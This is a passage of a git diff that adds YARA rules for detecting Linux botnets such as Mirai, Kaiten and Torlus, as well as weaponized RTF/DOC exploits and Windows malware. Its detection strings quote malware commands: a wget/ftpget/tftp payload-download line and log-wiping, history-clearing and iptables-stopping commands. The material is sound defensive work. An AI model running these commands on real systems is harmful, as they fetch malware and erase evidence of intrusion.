+                $x_15 = " && $"
+                
+
+        condition:
+                //Contains all of the strings
+                all of ($x_*)
+}
+
+rule irctelnet__payload: malware linux
+{
+        meta:
+                author = "@h3x2b <tracker@h3x.eu>"
+                description = "Detects malicious payload of the irctelnet - 20161102"
+                //Check also: 
+                // http://blog.malwaremustdie.org/2016/10/mmd-0059-2016-linuxirctelnet-new-ddos.html
+                // http://tracker.h3x.eu/info/850
+                // http://tracker.h3x.eu/corpus/850
+                //Samples:
+
+        strings:
+                $irc_00 = "PASS %s"
+                $irc_01 = "NICK %s"
+                $irc_02 = "USER %s . . : ."
+                $irc_03 = "USER d3x . . : ."
+                $irc_04 = "ERROR"
+                $irc_05 = "-sh"
+                $irc_06 = "GET / HTTP/1.0"
+                $irc_07 = "Host: %s"
+
+                $x_00 = "ogin:"
+                $x_01 = "assword:"
+                $x_02 = "ncorrect"
+                $x_03 = "failed"
+                $x_04 = "built-in commands"
+                $x_05 = "seconds"
+                $x_06 = "shell"
+                $x_07 = "(y/N)"
+                $x_08 = "free"
+                $x_09 = "mkdir -p %s && rm -f %s/*; ftpget -u ftp %s %s/%s %s 2>&1 || wget -O %s/%s http://%s/%s 2>&1 || tftp -g -r "
+		$x_10 = "/etc/firewall_stop"
+		
+
+        condition:
+                //ELF magic
+                uint32(0) == 0x464c457f and
+
+                //Contains all of the irc strings
+                all of ($irc_*) and
+
+                //Contains all of the specific strings
+                all of ($x_*)
+}
+
diff --git a/yara-mikesxrs/h3x2b/lin_jellyfish.yara b/yara-mikesxrs/h3x2b/lin_jellyfish.yara
new file mode 100644
index 0000000..2a01251
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/lin_jellyfish.yara
@@ -0,0 +1,34 @@
+rule jellyfish_gpu_rootkit_server: malware linux rootkit
+{
+meta:
+	author = "@h3x2b <tracker@h3x.eu>"
+	description = "Detects Jellyfish samples - 201505"
+	//Check also:
+	//http://tracker.h3x.eu/corpus/690
+	//http://tracker.h3x.eu/info/690
+	//Samples:
+	//057a8ff761b5768f1fa82a463d2bdbf8  jellyfish-master.zip
+
+strings:
+	$m_01 = "gpu.txt"
+
+	$o_01 = "socket failed!"
+	$o_02 = "couldn't bind socket!"
+	$o_03 = "couldn't setup listener socket!"
+	$o_04 = "accept() socket failed!"
+	$o_05 = "recv() failed! trying again...\n"
+	$o_06 = "%s  |  Logged to gpu.txt\n"
+
+condition:
+	//ELF magic
+	uint32(0) == 0x464c457f and
+
+	//Contains all mandatory strings
+	all of ($m_*) and
+
+	//Contains some optional strings
+	4 of ($o_*)
+
+}
+
+
diff --git a/yara-mikesxrs/h3x2b/lin_kaiten.yara b/yara-mikesxrs/h3x2b/lin_kaiten.yara
new file mode 100644
index 0000000..90506a0
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/lin_kaiten.yara
@@ -0,0 +1,24 @@
+rule kaiten: malware linux
+{
+	meta:
+                author = "@h3x2b <tracker@h3x.eu>"
+                description = "Detects Kaiten samples - 20161009"
+                //Check also:
+                //http://tracker.h3x.eu/corpus/700
+                //http://tracker.h3x.eu/info/700
+                //http://www.kernelmode.info/forum/viewtopic.php?f=16&t=2747
+                //https://www.virustotal.com/en/file/0173924f3b91579c2ab3382333f81b09fa2653588b9595243a0d85bd97f7dd11/analysis/1409864439/
+                //Samples:
+
+        strings:
+       		$kaiten_00 = "NOTICE %s :Kaiten wa goraku"
+                $kaiten_01 = "NOTICE %s :TSUNAMI <target> <secs>"
+                $kaiten_02 = "NOTICE %s :PAN <target> <port> <secs>"
+
+        condition:
+                //ELF magic
+                uint32(0) == 0x464c457f and
+
+                //Contains all of the strings
+                2 of ($kaiten_*)
+}
diff --git a/yara-mikesxrs/h3x2b/lin_ladylinux.yara b/yara-mikesxrs/h3x2b/lin_ladylinux.yara
new file mode 100644
index 0000000..9c3e596
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/lin_ladylinux.yara
@@ -0,0 +1,51 @@
+rule ladylinux_go_malware: malware linux
+{
+meta:
+	author = "@h3x2b <tracker@h3x.eu>"
+	description = "Detects LadyLinux samples - 201609"
+
+	//Check also:
+	//http://vms.drweb.com/virus/?_is=1&i=8400823
+	//https://www.youtube.com/watch?v=PRLOlY4IKeA
+	//https://github.com/radareorg/r2con/raw/master/2016/talks/11-ReversingLinuxMalware/r2con_SergiMartinez_ReversingLinuxMalware.pdf
+	//Samples:
+	//d9a74531d24c76f3db95baed9ebf766a2bc0300d
+
+strings:
+	$m_01 = "/lady/src/attack/attack.go"
+	$m_02 = "/lady/src/lady/config.go"
+	$m_03 = "/lady/src/lady/main.go"
+
+	$o_01 = "C:/Users/h/CloudStation/Projects/0/ly/lady/src/attack/attack.go"
+	$o_02 = "C:/Users/h/CloudStation/Projects/0/ly/lady/src/lady/config.go"
+	$o_03 = "C:/Users/h/CloudStation/Projects/0/ly/lady/src/lady/main.go"
+	$o_04 = "C:/Users/h/CloudStation/Projects/0/ly/lady/src/st/struct.go"
+	$o_05 = "C:/Users/h/CloudStation/Projects/0/ly/lady/src/attack/attack.go"
+	$o_06 = "C:/Users/h/CloudStation/Projects/0/ly/lady/src/super/super.go"
+	$o_07 = "C:/Users/h/CloudStation/Projects/0/ly/lady/src/redis/redis.go"
+	$o_08 = "C:/Users/h/CloudStation/Projects/0/ly/lady/src/minerd/minerd.go"
+	$o_09 = "C:/Users/h/CloudStation/Projects/0/ly/lady/src/ipip/ipip.go"
+	$o_10 = "ly/lady/vendor/src/golang.org/x/crypto/ed25519/internal/edwards25519/edwards25519.go"
+	$o_11 = "ly/lady/vendor/src/golang.org/x/crypto/ed25519/ed25519.go"
+	$o_12 = "ly/lady/vendor/src/github.com/garyburd/redigo"
+	$o_13 = "ly/lady/vendor/src/github.com/shirou/gopsutil"
+	$o_14 = "ly/lady/vendor/src/github.com/parnurzeal/gorequest"
+	$o_15 = "ly/lady/vendor/src/golang.org/x/net/publicsuffix"
+	$o_16 = "ly/lady/vendor/src/github.com/moul/http2curl"
+	$o_17 = "ly/lady/vendor/src/github.com/naoina/toml"
+	$o_18 = "ly/lady/vendor/src/github.com/kardianos"
+	$o_19 = "/tmp/__debuglady.log"
+
+
+condition:
+	//ELF magic
+	uint32(0) == 0x464c457f and
+
+	//Contains all mandatory strings
+	all of ($m_*) and
+
+	//Contains some optional strings
+	15 of ($o_*)
+
+}
+
diff --git a/yara-mikesxrs/h3x2b/lin_mirai.yara b/yara-mikesxrs/h3x2b/lin_mirai.yara
new file mode 100644
index 0000000..5e8d985
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/lin_mirai.yara
@@ -0,0 +1,22 @@
+rule mirai_20161004 : malware linux
+{
+        meta:
+                author = "@h3x2b <tracker@h3x.eu>"
+                description = "Detects Mirai samples - 20161004"
+                //Check also:
+                //http://tracker.h3x.eu/corpus/680
+                //http://tracker.h3x.eu/info/680
+                //http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
+
+        strings:
+                $mirai_00 = "/dev/null"
+		$mirai_01 = "LCOGQGPTGP"
+
+
+        condition:
+                //ELF magic
+                uint32(0) == 0x464c457f and
+
+                //Contains all of the strings
+                all of ($mirai_*)
+}
diff --git a/yara-mikesxrs/h3x2b/lin_stdbot.yara b/yara-mikesxrs/h3x2b/lin_stdbot.yara
new file mode 100644
index 0000000..afba2c6
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/lin_stdbot.yara
@@ -0,0 +1,65 @@
+rule stdbot_std : malware linux
+{
+	meta:
+		author = "@h3x2b <tracker@h3x.eu>"
+		description = "Detects STDbot samples - 20161009"
+		//Check also:
+		//http://tracker.h3x.eu/corpus/760
+		//http://tracker.h3x.eu/info/760
+		//http://blog.malwaremustdie.org/2016/02/mmd-0052-2016-skidddos-elf-distribution.html
+		//http://blog.malwaremustdie.org/2016/04/mmd-0053-2016-bit-about-elfstd-irc-bot.html
+
+	strings:
+		$irc_00 = "CONNECT"
+		$irc_01 = "NICK"
+		$irc_02 = "PING"
+		$irc_03 = "JOIN"
+
+		$std_00 = ":>bot +std"
+		$std_01 = "PRIVMSG"
+		$std_02 = "[STD]Hitting"
+
+
+	condition:
+		//ELF magic
+		uint32(0) == 0x464c457f and
+
+		//Contains all of the IRC strings
+		all of ($irc_*) and
+
+		//Contains all of the strings
+		all of ($std_*)
+}
+
+
+rule stdbot_std2 : malware linux
+{
+	meta:
+		author = "@h3x2b <tracker@h3x.eu>"
+		description = "Detects STDbot samples - 20161009"
+		//Check also:
+		//http://tracker.h3x.eu/corpus/760
+		//http://tracker.h3x.eu/info/760
+		//http://blog.malwaremustdie.org/2016/04/mmd-0053-2016-bit-about-elfstd-irc-bot.html
+		//Samples:
+		//fa856be9e8018c3a7d4d2351398192d8  pty
+		//80ffb3ad788b73397ce84b1aadf99b  tty0
+		//d47a5da273175a5971638995146e8056  tty1
+		//2c1b9924092130f5c241afcedfb1b198  tty2
+		//f6fc2dc7e6fa584186a3ed8bc96932ca  tty3
+		//b629686b475eeec7c47daa72ec5dffc0  tty4
+		//c97f99cdafcef0ac7b484e79ca7ed503  tty5
+
+	strings:
+		$std_00 = "shitteru koto dake"
+		$std_01 = "nandemo wa shiranai wa yo"
+
+
+        condition:
+		//ELF magic
+		uint32(0) == 0x464c457f and
+
+		//Contains all of the strings
+		all of ($std_*)
+}
+
diff --git a/yara-mikesxrs/h3x2b/lin_torlus.yara b/yara-mikesxrs/h3x2b/lin_torlus.yara
new file mode 100644
index 0000000..e50772d
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/lin_torlus.yara
@@ -0,0 +1,181 @@
+rule torlus_20150112: malware linux
+{
+meta:
+	author = "@h3x2b <tracker@h3x.eu>"
+	description = "Detects Torlus/LizKebab/GayFgt/Bashdoor samples - 20150112"
+	//Check also:
+	//http://tracker.h3x.eu/corpus/690
+	//http://tracker.h3x.eu/info/690
+	//Samples:
+	//https://github.com/gh0std4ncer/lizkebab/blob/master/client.c
+
+strings:
+	$cmd_00 = "PING"
+	$cmd_01 = "GETLOCALIP"
+	$cmd_02 = "SCANNER"
+	$cmd_03 = "HOLD"
+	$cmd_04 = "JUNK"
+	$cmd_05 = "UDP"
+	$cmd_06 = "TCP"
+	$cmd_07 = "KILLATTK"
+	$cmd_08 = "LOLNOGTFO"
+	$cmd_09 = "EMAIL"
+
+	$msg_01 = "MAC: %02X:%02X:%02X:%02X:%02X:%02X\n"
+	$msg_02 = "Failed to connect...\n"
+	$msg_03 = "Link closed by server.\n"
+	$msg_04 = "REPORT %s:%s:"
+	$msg_05 = "Failed opening raw socket."
+	$msg_06 = "Failed setting raw headers mode."
+	$msg_07 = "Invalid flag \"%s\""
+	$msg_08 = "My IP: %s"
+	$msg_09 = "EMAIL <target email> <mx host> <subject no spaces> <message no spaces>"
+	$msg_10 = "HOLD <ip> <port> <time>"
+	$msg_11 = "HOLD Flooding %s:%d for %d seconds."
+	$msg_12 = "JUNK Flooding %s:%d for %d seconds."
+	$msg_13 = "UDP Flooding %s for %d seconds."
+	$msg_14 = "UDP Flooding %s:%d for %d seconds."
+	$msg_15 = "TCP Flooding %s for %d seconds."
+	$msg_16 = "Killed %d."
+	$msg_17 = "None Killed."
+	$msg_18 = "BUILD %s"
+	$msg_19 = "BOGOMIPS"
+	$msg_20 = "/proc/cpuinfo"
+
+condition:
+	//ELF magic
+	uint32(0) == 0x464c457f and
+
+	//Contains majority of commands
+	8 of ($cmd_*) and
+
+	//Contains some message strings
+	10 of ($msg_*)
+
+}
+
+
+rule torlus_20161017: malware linux
+{
+meta:
+	author = "@h3x2b <tracker@h3x.eu>"
+	description = "Detects Torlus/LizKebab/GayFgt/Bashdoor samples - 20161017"
+	//Check also:
+	//http://tracker.h3x.eu/corpus/690
+	//http://tracker.h3x.eu/info/690
+	//https://github.com/gh0std4ncer/lizkebab/blob/master/client.c
+	//Samples:
+	//65e40f25a868a23e3cedf424b051eb9f  hxxp://146.0.79.229/1
+	//2fb9ea2d48096808b01c7fabe4966a93  hxxp://146.0.79.229/2
+	//dcf05749e6499a63bcd658ccce0b97f0  hxxp://146.0.79.229/3
+	//db67599d4a7c1c5945f6f62f0333666c  hxxp://146.0.79.229/4
+	//db67599d4a7c1c5945f6f62f0333666c  hxxp://146.0.79.229/5
+	//5bbd98eb630b5c6400b17d204efdd62e  hxxp://146.0.79.229/6
+	//af00a54311a78215c51874111971ec67  hxxp://146.0.79.229/7
+	//a1fe71267f01e6bf7a7f6ba5cce72c6b  hxxp://146.0.79.229/8
+
+strings:
+	$cmd_00 = "PING"
+	$cmd_01 = "GETLOCALIP"
+	$cmd_02 = "SCANNER"
+	$cmd_03 = "HOLD"
+	$cmd_04 = "JUNK"
+	$cmd_05 = "UDP"
+	$cmd_06 = "COMBO"
+	$cmd_07 = "TCP"
+	$cmd_08 = "KILLATTK"
+	$cmd_09 = "LOLNOGTFO"
+	$cmd_10 = "GTFOFAG"
+	$cmd_11 = "FATCOCK"
+
+	$ua_01 = "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)"
+	$ua_02 = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1"
+	$ua_03 = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1"
+	$ua_04 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)"
+	$ua_05 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)"
+	$ua_06 = "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)"
+	$ua_07 = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1"
+	$ua_08 = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1"
+	$ua_09 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)"
+	$ua_10 = "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)"
+	$ua_11 = "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)"
+	$ua_12 = "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51"
+
+	$msg_01 = "ogin:"
+	$msg_02 = "assword:"
+	$msg_03 = "ncorrect"
+	$msg_04 = "HTTP"
+	$msg_05 = "REPORT %s:%s:%s"
+	$msg_06 = "Failed opening raw socket."
+	$msg_07 = "Failed setting raw headers mode."
+	$msg_08 = "Invalid flag \"%s\""
+	$msg_09 = "My IP: %s"
+	$msg_10 = "BUILD %s"
+	$msg_11 = "BOGOMIPS"
+	$msg_12 = "/proc/cpuinfo"
+
+	$shell_01 = "rm -rf /var/log/wtmp"
+	$shell_02 = "rm -rf /tmp/*"
+	$shell_03 = "history -c"
+	$shell_04 = "rm -rf ~/.bash_history"
+	$shell_05 = "rm -rf /bin/netstat"
+	$shell_06 = "service iptables stop"
+
+condition:
+	//ELF magic
+	uint32(0) == 0x464c457f and
+
+	//Contains majority of commands
+	8 of ($cmd_*) and
+
+	//Contains at least 5 UA strings
+	5 of ($ua_*) and
+
+	//Contains some message strings
+	6 of ($msg_*) and
+
+	//Shell commands used to clean-up
+	3 of ($shell_*)
+
+}
+
+
+rule torlus_server: malware linux
+{
+meta:
+	author = "@h3x2b <tracker@h3x.eu>"
+	description = "Detects Torlus/LizKebab/GayFgt/Bashdoor server samples"
+	//Check also:
+	//http://tracker.h3x.eu/corpus/690
+	//http://tracker.h3x.eu/info/690
+	//Samples:
+	//https://github.com/gh0std4ncer/lizkebab/blob/master/client.c
+
+strings:
+	$cmd_00 = "PING"
+	$cmd_01 = "PONG"
+	$cmd_02 = "BUILD"
+	$cmd_03 = "REPORT"
+
+	$msg_01 = "!* SCANNER ON\n"
+	$msg_02 = "!* FATCOCK\n"
+	$msg_03 = "buf: \"%s\"\n"
+	$msg_04 = "%c]0;Bots connected: %d | Clients connected: %d%c"
+	$msg_05 = "WELCOME TO THE BALL PIT"
+
+
+
+condition:
+	//ELF magic
+	uint32(0) == 0x464c457f and
+
+	//Contains majority of commands
+	4 of ($cmd_*) and
+
+	//Contains some message strings
+	2 of ($msg_*)
+
+}
+
+
+
diff --git a/yara-mikesxrs/h3x2b/lin_venom.yara b/yara-mikesxrs/h3x2b/lin_venom.yara
new file mode 100644
index 0000000..8beaf51
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/lin_venom.yara
@@ -0,0 +1,21 @@
+rule venom_20170125 : malware linux
+{
+    meta:
+        author = "@h3x2b <tracker@h3x.eu>"
+        description = "Detects Venom samples - 20170125"
+        // Check also:
+        // https://wiki.egi.eu/w/images/c/ce/Report-venom.pdf
+
+    strings:
+        $venom_00 = "justCANTbeSTOPPED"
+        $venom_01 = "%%VENOM%AUTHENTICATE%%"
+        $venom_02 = "%%VENOM%OK%OK%%"
+
+
+    condition:
+        //ELF magic
+        uint32(0) == 0x464c457f and
+
+        //Contains all of the strings
+        all of ($venom_*)
+}
diff --git a/yara-mikesxrs/h3x2b/maldoc.yara b/yara-mikesxrs/h3x2b/maldoc.yara
new file mode 100644
index 0000000..41658cd
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/maldoc.yara
@@ -0,0 +1,36 @@
+rule maldoc_cve_2012_0158 : exploit
+{
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Detect MSComctlLib.ListViewCtrl.2 in DOC documents - cve_2012_0158"
+
+	strings:
+		//MSComctlLib.ListViewCtrl.2 GUID={BDD1F04B-858B-11D1-B16A-00C0F0283628}
+	        $doc_activex_01 = { 4B F0 D1 BD 8B 85 D1 11 B1 6A 00 C0 F0 28 36 28 }
+
+	condition:
+                // DOC/Composite file magic
+		uint32be(0) == 0xd0cf11e0 and uint32be(4) == 0xa1b11ae1
+		and $doc_activex_01
+}
+
+
+
+rule maldoc_moniker_cve_2017_0199 : exploit
+{
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Detect weaponized DOC documents it to URL Moniker HTA handling CVS-2017-0199"
+
+	strings:
+                //GUID of URL Moniker =  79EAC9E0-BAF9-11CE-8C82-00AA004BA90B
+                $doc_moniker_01 = { E0 C9 EA 79 f9 BA CE 11 8C 82 00 AA 00 4B A9 0B }
+
+		//IID_IMoniker is defined as 0000000f-0000-0000-C000-000000000046
+                // too poor for detection
+
+	condition:
+                // DOC/Composite file magic
+		uint32be(0) == 0xd0cf11e0 and uint32be(4) == 0xa1b11ae1
+                and $doc_moniker_01
+}
diff --git a/yara-mikesxrs/h3x2b/malrtf.yara b/yara-mikesxrs/h3x2b/malrtf.yara
new file mode 100644
index 0000000..e5a3922
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/malrtf.yara
@@ -0,0 +1,111 @@
+import "magic"
+
+rule malrtf_cve_2012_0158 : exploit
+{
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Detect weaponized RTF documents using cve_2012_0158"
+
+	strings:
+		//normal rtf beginning
+		$rtf_format_00 = "{\\rtf1"
+		//malformed rtf can have for example {\\rtA1
+		$rtf_format_01 = "{\\rt"
+
+		//MSComctlLib.ListViewCtrl.2
+		$rtf_exploit_00 = "\\objclass MSComctlLib.ListViewCtrl.2" nocase
+		$rtf_exploit_01 = "4D53436F6D63746C4C69622E4C697374566965774374726C2E32" nocase
+
+		$rtf_exploit_02 = "\\objclass Package" nocase
+		$rtf_exploit_03 = "5061636b61676500" nocase
+
+		//False positives
+		$fp_avast_win_01 = "algo.dll"
+		$fp_avast_win_02 = "algo64.dll"
+		$fp_avast_mac = "algo.so"
+
+	condition:
+		//new_file and
+		//avoid false positives
+		not (
+			(magic.type() contains "PE" and any of ($fp_avast_win_*) ) or
+			(magic.type() contains "Mach" and $fp_avast_mac )
+		) and
+		any of ($rtf_format_*) and
+		any of ($rtf_exploit_*)
+
+}
+
+
+rule malrtf_pe_embedded : exploit
+{
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Detect weaponized RTF documents with embedded executable"
+
+	strings:
+		//normal rtf beginning
+		$rtf_format_00 = "{\\rtf1"
+		//malformed rtf can have for example {\\rtA1
+		$rtf_format_01 = "{\\rt"
+
+		//Windows PE32 magic beginning - "MZ\x90"
+		$rtf_payload_01 = "4D5A90" nocase
+
+		//PE
+		$rtf_payload_02 = "50450000"
+
+		//String "!This"
+		$rtf_payload_03 = "2154686973"
+
+		//String "DOS mode"
+		$rtf_payload_04 = "444f53206d6f6465" nocase
+
+	condition:
+		//new_file and
+		any of ($rtf_format_*) and
+		3 of ($rtf_payload_*)
+}
+
+rule malrtf_ole2link_cve_2017_0199 : exploit
+{
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Detect weaponized RTF documents with OLE2Link exploit to URL Moniker HTA handling CVS-2017-0199"
+
+	strings:
+		//having \objautlink structure
+		$rtf_olelink_01 = "\\objautlink" nocase wide ascii
+
+		//having \objdata structure
+		$rtf_olelink_02 = "\\objdata" nocase wide ascii
+
+		//hex encoded OLE2Link
+		$rtf_olelink_03 = "4f4c45324c696e6b" nocase wide ascii
+
+		//hex encoded StdOleLink
+		$rtf_olelink_04 = "5374644f6c654c696e6b" nocase wide ascii
+
+		//hex encoded docfile magic - doc file albilae
+		$rtf_olelink_05 = "d0cf11e0a1b11ae1" nocase wide ascii
+
+                //GUID of URL Moniker
+                $rtf_payload_01 = "e0c9ea79f9bace118c8200aa004ba90b" nocase wide ascii
+
+		//hex encoded "http://"
+		$rtf_payload_02 = "68007400740070003a002f002f00" nocase wide ascii
+
+		//hex encoded "https://"
+		$rtf_payload_03 = "680074007400700073003a002f002f00" nocase wide ascii
+
+		//hex encoded "ftp://"
+		$rtf_payload_04 = "6600740070003a002f002f00" nocase wide ascii
+
+
+	condition:
+		//new_file and
+		//normal rtf header is {\rtf1, malformed rtf can have for example {\\rtA1
+		uint32be(0) == 0x7B5C7274
+		and 3 of ($rtf_olelink_*)
+		and any of ($rtf_payload_*)
+}
diff --git a/yara-mikesxrs/h3x2b/math.yara b/yara-mikesxrs/h3x2b/math.yara
new file mode 100644
index 0000000..8965e11
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/math.yara
@@ -0,0 +1,57 @@
+/* Check the entropy of the files being checked */
+
+import "math"
+
+rule math_entropy_close_8 : statistics {
+	condition:
+		math.entropy(0, filesize) >= 7.5
+}
+
+rule math_entropy_7 : statistics {
+	condition:
+		math.entropy(0, filesize) >= 7 and
+		math.entropy(0, filesize) < 7.5
+}
+
+rule math_entropy_6 : statistics {
+	condition:
+		math.entropy(0, filesize) >= 6 and
+		math.entropy(0, filesize) < 7
+}
+
+rule math_entropy_5 : statistics {
+	condition:
+		math.entropy(0, filesize) >= 5 and
+		math.entropy(0, filesize) < 6
+}
+
+rule math_entropy_4 : statistics {
+	condition:
+		math.entropy(0, filesize) >= 4 and
+		math.entropy(0, filesize) < 5
+}
+
+rule math_entropy_3 : statistics {
+	condition:
+		math.entropy(0, filesize) >= 3 and
+		math.entropy(0, filesize) < 4
+}
+
+rule math_entropy_2 : statistics {
+	condition:
+		math.entropy(0, filesize) >= 2 and
+		math.entropy(0, filesize) < 3
+}
+
+rule math_entropy_1 : statistics {
+	condition:
+		math.entropy(0, filesize) >= 1 and
+		math.entropy(0, filesize) < 2
+}
+
+rule math_entropy_0 : statistics {
+	condition:
+		math.entropy(0, filesize) >= 0 and
+		math.entropy(0, filesize) < 1
+}
+
diff --git a/yara-mikesxrs/h3x2b/nccgroup_stdolelink.yara b/yara-mikesxrs/h3x2b/nccgroup_stdolelink.yara
new file mode 100644
index 0000000..f15f9dd
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/nccgroup_stdolelink.yara
@@ -0,0 +1,36 @@
+rule nccgroup_exploit_ole_stdolelink {
+  meta:
+    author = "David Cannings"
+    description = "StdOleLink, potential 0day in April 2017"
+
+  strings:
+    // Parsers will open files without the full 'rtf'
+    $header_rtf    = "{\\rt" nocase
+    $header_office = { D0 CF 11 E0 }
+    $header_xml    = "<?xml version=" nocase wide ascii
+
+    // Marks of embedded
+    // RTF format
+    $embedded_object   = "\\object" nocase
+    $embedded_objdata  = "\\objdata" nocase
+    $embedded_ocx      = "\\objocx" nocase
+    $embedded_objclass = "\\objclass" nocase
+    $embedded_oleclass = "\\oleclsid" nocase
+
+    // OLE format
+    $embedded_root_entry = "Root Entry" wide
+    $embedded_comp_obj   = "Comp Obj" wide
+    $embedded_obj_info   = "Obj Info" wide
+    $embedded_ole10      = "Ole10Native" wide
+
+    $data0 = "00000300-0000-0000-C000-000000000046" nocase wide ascii
+    $data1 = { 00 03 00 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
+    $data2 = "OLE2Link" nocase wide ascii
+    $data3 = "4f4c45324c696e6b" nocase wide ascii
+    $data4 = "StdOleLink" nocase wide ascii
+    $data5 = "5374644f6c654c696e6b" nocase wide ascii
+
+  condition:
+    // Mandatory header plus sign of embedding, then any of the others
+    for any of ($header*) : ( @ == 0 ) and 1 of ($embedded*) and (1 of ($data*))
+}
diff --git a/yara-mikesxrs/h3x2b/networking.yara b/yara-mikesxrs/h3x2b/networking.yara
new file mode 100644
index 0000000..9a5c786
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/networking.yara
@@ -0,0 +1,20 @@
+import "pe"
+
+//Detect capabilities of opening network sockets
+
+rule winsocks : feature networking windows
+{
+meta:
+	description = "Imports Winsock Library"
+
+condition:
+	// MZ at the beginning of file
+        uint16(0) == 0x5a4d and
+
+	pe.imports("wsock32.dll","WSAStartup") and
+	pe.imports("wsock32.dll","socket")
+}
+
+
+
+
diff --git a/yara-mikesxrs/h3x2b/obfuscation.yara b/yara-mikesxrs/h3x2b/obfuscation.yara
new file mode 100644
index 0000000..9fb4216
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/obfuscation.yara
@@ -0,0 +1,15 @@
+rule obfuscation_singlebyte_mov : feature obfuscation
+{
+        meta:
+                author = "Andreas Schuster"
+                description = "Detects strings obfuscated by single-byte mov ex: mov [ebp+String+1], A"
+                //Check also:
+                //https://insights.sei.cmu.edu/sei_blog/2012/11/writing-effective-yara-signatures-to-identify-malware.html
+
+        strings:
+		$singleb_mov = { c6 45 [2] c6 45 [2] c6 45 [2] c6 45}
+
+        condition:
+                //Contains all of the strings
+                all of them
+}
diff --git a/yara-mikesxrs/h3x2b/win_asprox.vt_yara b/yara-mikesxrs/h3x2b/win_asprox.vt_yara
new file mode 100644
index 0000000..cce2d1c
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/win_asprox.vt_yara
@@ -0,0 +1,20 @@
+import "magic"
+
+rule asprox_av_signature
+{
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Search for #Asprox/Kuluoz #malware downloader"
+		// "2GVWNQJz1"
+
+	condition:
+		new_file and
+		//file_type contains "peexe" and
+		uint16(0) == 0x5a4d and
+		(
+			signatures matches /Kuluoz/
+			or signatures matches /Asprox/
+			or signatures matches /KULUOZ/
+			or signatures matches /ASPROX/
+		)
+}
diff --git a/yara-mikesxrs/h3x2b/win_bookworm.yara b/yara-mikesxrs/h3x2b/win_bookworm.yara
new file mode 100644
index 0000000..18670cf
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/win_bookworm.yara
@@ -0,0 +1,69 @@
+rule bookworm_dll_by_name : malware
+{
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Match ushata by the name"
+
+	strings:
+		$dll01 = "ushata.dll"
+		$dll02 = "XecureIO_v20.dll"
+
+	condition:
+		any of them 
+		and filesize < 10000
+
+}
+
+
+rule bookworm_dll_by_signature : malware
+{
+	 meta:
+		 author = "@h3x2b <tracker _AT h3x.eu>"
+		 description = "Detect bookworm.dll loader"
+
+	 strings:
+		 $a = { 80 34 18 58 }
+		 $b = { 80 34 18 78 }
+		 $c = { 80 34 18 D0 }
+
+	 condition:
+		 all of them
+}
+
+
+rule bookworm_payload_by_modules_names : malware
+{
+	meta:
+		 description = "Detect ushata payload by usage of more than 2 modules"
+		 author = "@h3x2b <tracker _AT h3x.eu>"
+
+	strings:
+		$mod_01 = "Leader.dll"
+		$mod_02 = "Coder.dll"
+		$mod_03 = "Digest.dll"
+		$mod_04 = "AES.dll"
+		$mod_05 = "KBLogger.dll"
+		$mod_06 = "Network.dll"
+		$mod_07 = "Resolver.dll"
+		$mod_08 = "HTTP.dll"
+		$mod_09 = "WinINetwork.dll"
+		$mod_10 = "ushata.dll"
+		$mod_11 = "ProgramStartup"
+
+	condition:
+		3 of them
+
+}
+
+rule bookworm_payload_match : malware
+{
+	meta:
+		 description = "Detect bookworm payload by encrypted header"
+		 author = "@h3x2b <tracker _AT h3x.eu>"
+
+	strings:
+		$bookworm_payload_01 = { b0 78 58 d0 58 20 01 fd 0d 68 68 d0 5d 28 48 e0 58 28 3c 71 68 78 58 d0 }
+
+	condition:
+		1 of them
+}
diff --git a/yara-mikesxrs/h3x2b/win_geodo.yara b/yara-mikesxrs/h3x2b/win_geodo.yara
new file mode 100644
index 0000000..0a3f6bc
--- /dev/null
